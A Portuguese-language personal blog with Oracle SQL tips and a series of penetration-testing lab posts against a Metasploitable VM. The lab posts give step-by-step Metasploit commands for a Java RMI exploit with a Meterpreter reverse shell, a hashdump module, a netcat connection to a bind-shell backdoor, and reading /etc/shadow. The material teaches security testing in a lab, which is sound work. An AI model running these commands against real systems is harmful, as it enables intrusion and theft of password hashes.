sábado, 20 de julho de 2024

Oracle: Query para pesquisar nomes de tabela

 Para listar todas as colunas criadas e existente no Oracle, pode-se utilizar a seguinte query:

SELECT * FROM ALL_TAB_COLUMNS

Essa tabela possui as seguintes colunas:

  • OWNER: O usuário "dono" da tabela
  • TABLE_NAME: Nome da tabela em que a coluna pertence
  • COLUMN_NAME: Nome da Coluna
  • DATA_TYPE:
  • DATA_TYPE_MOD:
  • DATA_TYPE_OWNER:
  • DATA_LENGTH:
  • DATA_PRECISION:
  • DATA_SCALE:
  • NULLABLE:
  • COLUMN_ID:
  • DEFAULT_LENGTH:
  • DATA_DEFAULT:
  • NUM_DISTINCT:
  • LOW_VALUE:
  • HIGH_VALUE:
  • DENSITY:
  • NUM_NULLS:
  • NUM_BUCKETS:
  • LAST_ANALYZED:
  • SAMPLE_SIZE:
  • CHARACTER_SET_NAME:
  • CHAR_COL_DECL_LENGTH:
  • GLOBAL_STATS:
  • USER_STATS:
  • AVG_COL_LEN:
  • CHAR_LENGTH:
  • CHAR_USED:
  • V80_FMT_IMAGE:
  • DATA_UPGRADED:
  • HISTOGRAM:
  • DEFAULT_ON_NULL:
  • IDENTITY_COLUMN:
  • EVALUATION_EDITION:

quinta-feira, 18 de julho de 2024

Oracle: Tratando valores nulos: COALESCE e NVL

 Estava eu trabalhando com a seguinte situação: precisava que um dado filtrasse por um campo data comparado com outros dois campos data. No clássico SQL ficaria algo assim:

WHERE campo1 BETWEEN campo2 AND campo3

Só que o campo3 tem um detalhe, ele é nulo se não tem uma data definida, o que significaria no contexto, uma data futura indefinida. Como tratar isso?

Temos duas funções que faz a mesma coisa, o COALESCE e NVL, ele avalia o primeiro parâmetro, se for nulo, passa para o próximo. Exemplo:

WHERE campo1 BETWEEN campo2 AND COALESCE(campo3, SYSDATE)

WHERE campo1 BETWEEN campo2 AND NVL(campo3, SYSDATE)

Existe alguma diferença entre as duas? Sim, COALESCE permite mais de dois parâmetros, então, vamos supor que tenha um campo4, faríamos:

WHERE campo1 BETWEEN campo2 AND COALESCE(campo3, campo4, SYSDATE)

Neste último, se campo3 é nulo, é verificado o campo4, e se for também nulo, irá para SYSDATE. E se quisermos colocarmos um campo5, campo6, campo7, ..., campoN, podemos.

Já o NVL tem uma outra função chamado NVL2 que realiza a mesma função, mas para 3 parâmetros.

WHERE campo1 BETWEEN campo2 AND NVL2(campo3, campo4, SYSDATE)

E é isso por hoje.

quinta-feira, 9 de março de 2023

Introdução ao Metasploit Framework

 Em alguns posts atrás, nós mexemos no Metasploit Framework (MSF). Mas o que seria ele?

O Metasploit Framework é um dos mais famosos framework de teste de penetração por ser robusto e ter uma versão aberta e grátis (mas também tem a versão Pro e pago). Ela é usada para testar as vulnerabilidades de um sistema de computador ou invadi-las.

Uma das vantagens que usamos a distribuição Kali como sistema operacional é que o MSF já está instalado junto com o sistema.

Já que dei uma introdução, vamos fazer algo mais prático e ver alguns comandos importante. O primeiro é com certeza o comando "msfupdate", afinal, novas vulnerabilidades sempre estão surgindo e você deve manter o MSF atualizado. Caso você esteja usando o Kali, o comando falhará porque o MSF faz parte do sistema operacional, então você deverá usar o "apt update; apt install metasploit-framework" para atualizar.



PS: se tiver problemas em atualizar por problemas de permissão, executar o comando "sudo -s" para obter o root do sistema e então executar o comando acima.

Já para nós utilizarmos o framework, usaremos o msfconsole, a interface mais popular. É uma interface em linha de comando, mas também é a que mais tem recursos e é a mais estável, além de permitir comandos de sistemas, como ping, sem sair do programa. Ao digitar o comando "msfconsole", o framework será inicializado e estaremos prontos para a ação.

Dentro do console, podemos usar o comando "help" para listar todos os comandos que o MSF possui. Os comandos estarão agrupados em categorias. Também o comando explica sobre como indicar as abrangências de IP e outros valores.

Outro comando muito útil é o "search [palavraChave]", que procurará nos módulos, todos os exploits que estiver relacionado com a palavra-chave. Por exemplo, se nós usar o comando "search Firefox", podemos localizar vários exploits que possam afetar o Firefox. Neste comando, as informações estará em seis colunas, mas tem um em especial que é interessante falar, que é a coluna rank.

A coluna rank é uma classificação que serve para ajudar a escolher a vulnerabilidade a ser explorada, que são as seguintes:
  • Excellent: O exploit nunca derrubará o serviço e não é esperado qualquer tipo de corrupção na memória explorando essas falhas, por exemplo: SQL Injection;
  • Great: O exploits possui um alvo padrão ou consegue detectar automáticamente um alvo apropriado ou possui uma execução especifica depois de uma verificação de versão;
  • Good: O exploits possui um alvo padrão e á o caso mais comum;
  • Normal: O exploit é útil, mas depende de uma versão específica e/ou não pode ou consegue ter uma detecção automática;
  • Average:  a falha é dificil de explorar, mas pode ocorrer;
  • Low: A falha é quase impossível de utilizar, ou tem uma chance de sucesso menor que 50%;
  • Manual:  geralmente é  uma falha instável e é basicamente um DoS;
Acho que posso ficar por aqui, no próximo post, vou mostrar mais comandos explorando algumas falhas.


quarta-feira, 8 de março de 2023

Teste de Penetração: Conceitos, terminologia e riscos e dicas

 Segue uma lista de termos usado na área de segurança quando se trata de Hacking:

  • Exploit (noun): um pedaço de software ou sequência de comandos que tira vantagem de uma vulnerabilidade. Um ataque em sistema de computador;
  • Exploits Results: A consequência de um ataque bem sucedido: obter controle de um sistema, escalar privilégios, negação de serviço;
  • Exploit (verb): ato de fazer um ataque ao sistema com sucesso;
  • Vulnerability: Uma falha ou ponto fraco que pode resultar em uma falha de segurança;
  • Payload: Parte do malware que performa uma ação maliciosa;
    • Coisas que podemos fazer num alvo:
      • Acesso ao shell;
      • Acesso a senha;
      • Manter um backdoor;
    • Geralmente são escrito em Assembly;
    • É dependente da plataforma, portanto um payload para Linux vai ser diferente de um para Windows;
Os testes de penetrações também tem riscos durante a sua execução, como:
  • Aplicações dar crash, principalmente em sistemas legados ou serviços customizados;
  • Queda de servidores;
  • Baixa na performance;
  • Modificar configurações;
  • Comprometimento de informações confidencial;
  • Esquecimento de backdoors;
Para mitigar esses riscos, podemos fazer o seguinte:
  • Evitar atacar esses serviços legado ou customizados;
  • Realizar testes em sistemas críticos fora de horário importante;
  • Performar testes no ambiente de teste primeiro e depois para em produção;
  • Configurar monitoramento antes do testes, para caso algo dê problema, o suporte possa investigar e restaurar o sistema.
  • Configure os testes automatizado para não usar muita banda;
  • Tenha um plano de limpeza para reverter configurações e modificações, remover backdoors;
Sites úteis:
  • Exploit Database: www.exploit-db.com
  • Packet Storm: www.packetstormsecurity.com
Exploit Framework
  • Core Impact (poderoso e caro);
  • Immunity Canvas (mais barato que Core Impact ou a versão comercial de Metasploit);
  • Metasploit
Quiz:

1. No Meterpreter, você encontrou um arquivo interessante chamado "senhas.xls". Você quer obter o arquivo no Meterpreter, mas está incerto em como fazert isso. O que você deve usar?
  • comando "download" dentro do Meterpreter;
  • VNC, é a forma mais rápido de copiar dados
  • Não é possivel baixar aquivos dentro do Meterpreter Shell;
2. Matthew, um black hat, conseguiu abrir uma sessão de Meterpreter em uma das máquinas de quiosque do lobby da Evil Corp. Ele verifica seu atual SID, que é S-1-5-21-1223352397-1872883824-861252104-501. O que precisa acontecer antes do Matthew ter acesso de administrador completo?
  • Ele precisa ter acesso físico;
  • Ele precisa fazer ema escala de privilégio (privilege escalation);
  • Ele já tem privilégios de administrador, como mostrado pelo "501" no final do SID;
  • Ele precisa desativar a proteção de antivirus;

terça-feira, 7 de março de 2023

Teste de Penetração + Metaspoitable Framework: Aproveitando de uma Informação: RMI Registry foi detectado

 Vulnerabilidades listada como "INFO" não são necessariamente vulnerabilidades, mas podem também ser aproveitadas se souber o que procurar. Por exemplo, a INFO "RMI Registry Detection". RMI Registry é usado pelo Java, então, vamos ver o que podemos fazer:


Da mesma forma que o post anterior, podemos ver detalhes do servidor e porta:

Mas só porque temos a porta do RMI, não quer dizer que a porta listada esteja vulneravel, mas podemos explorar para ver se achamos uma outras portas abertas por causa de uma falha de um programador, por exemplo. Vamos fazer isso com o seguinte comando:

nmap -sV -sS 10.0.2.4 -p1-65535

isso permitirá ver se tem portas abertas. Provavelmente, não irá encontrar nada, mas então, vamos pedir uma ajudinha para uma outra ferramenta. 

Em um outro terminal, vamos rodar o Metaspoitable Framework, com o comando

msfconsole

e depois de iniciado. digitamos

search java_rmi

Aqui podemos ver duas vulnerabilidades:



Destaquei na imagem a vulnerabilidade que escolhi atacar: a configuração padrão inseguro. Vamos nos aprofundar neste item usando o comando

use exploit/multi/misc/java_rmi_server 

o Metaspoitable vai explicar que a configuração padrão quando não existe um Payload configurado é ir direto para java/meterpreter/reverse_tcp. Vamos ver os payloads padrões usando o comando 

show payloads



Agora, vamos setar o payload do MSF para payload/java/meterpreter/reverse_tcp 

set payload payload/java/meterpreter/reverse_tcp 

e agora vamos mostrar os parâmetros que podemos usar:

show options

Agora alteraremos o parâmetro RHOST com o IP da máquina alvo:

set RHOST 10.0.2.4

e vamos setar o parâmetro SRVHOST com o IP do Kali (o que estamos usando):

set SRVHOST 10.0.2.15

e também vamos setar o LHOST para a nossa máquina:

set LHOST 10.0.2.15




e agora finalmente, vamos rodar o exploit com o comando:

exploit

Com isso, conseguimos uma sessão Meterpreter aberta;


E o que podemos fazer com uma sessão dessas aberta? 
se eu enviar um sysinfo, vamos obter informações do sistema.


e se enviar o seguinte comando:

run post/linux/gather/hashdump

e teremos uma lista de Hash das senhas de todos os usuários do sistema

E isso tudo, conseguindo explorar apenas com uma informação no início. Portanto, não subestime uma INFO.

segunda-feira, 6 de março de 2023

Teste de Penetração + Nessus: Aproveitando de um backdoor

 Agora vou demonstrar um exemplo de como se aproveitar de uma vulnerabilidade. No relatório do Nessus apareceu a seguinte vulnerabilidade: "Bind Shell Backdoor Detection".


Se nós vermos a descrição temos o seguinte "Um shell está escutando em uma porta remota sem nenhuma autenticação sendo requirida. Um atacante pode usá-la conectando-a em uma porta remota e mandar comandos diretamente".




Na parte de baixo podemos ver mais detalhes, como o qual é o host (10.0.2.4) e a porta (1524):

Vamos testar usando o NetCat do Linux para ver se conseguimos uma conexão:
who
nc 10.0.2.4 1524

E no caso, consegui conectar ao Metasploitable:


Daqui consigo enviar qualquer comando para o outro computador:

Um exemplo, como entramos como root, não vai ter problema de eu executar o seguinte comando:

cat /etc/shadow

e obter os hashs das senhas dos usuários da máquina:










domingo, 5 de março de 2023

Teste de Penetração: Agressive Scan com Nessus

 Nessus é uma ferramenta de detecção de vulnerabilidades na rede desenvolvida pela Tenable. Ele possui uma versão profissional, mas também pode ser obtido a versão "Essential", antigamente conhecido como "Home" em versão anteriores. 

Para o treinamento, baixei o Nessus (fiz o cadastro para receber uma chave) e instalei na minha VM do Kali.

dpkg -i [arquivo do Nessus].deb

Depois de instalado, é só iniciar o serviço (ou daemon como se diz no Linux):

service nessusd start

Então, podemos acessar a interface gráfica pelo navegador no endereço https://127.0.0.1:8834 para finalizar a configuração, onde você criará uma conta interna, e finalizar a compilação dos puglins. Essa finalização pode demorar alguns minutos, mas se achar que está demorando demais, verifique se a máquina virtual está configurado com os requisitos mínimos e se tem espaço em disco sobrando. 

Terminado essa parte, podemos prosseguir com o passo de escaneamento.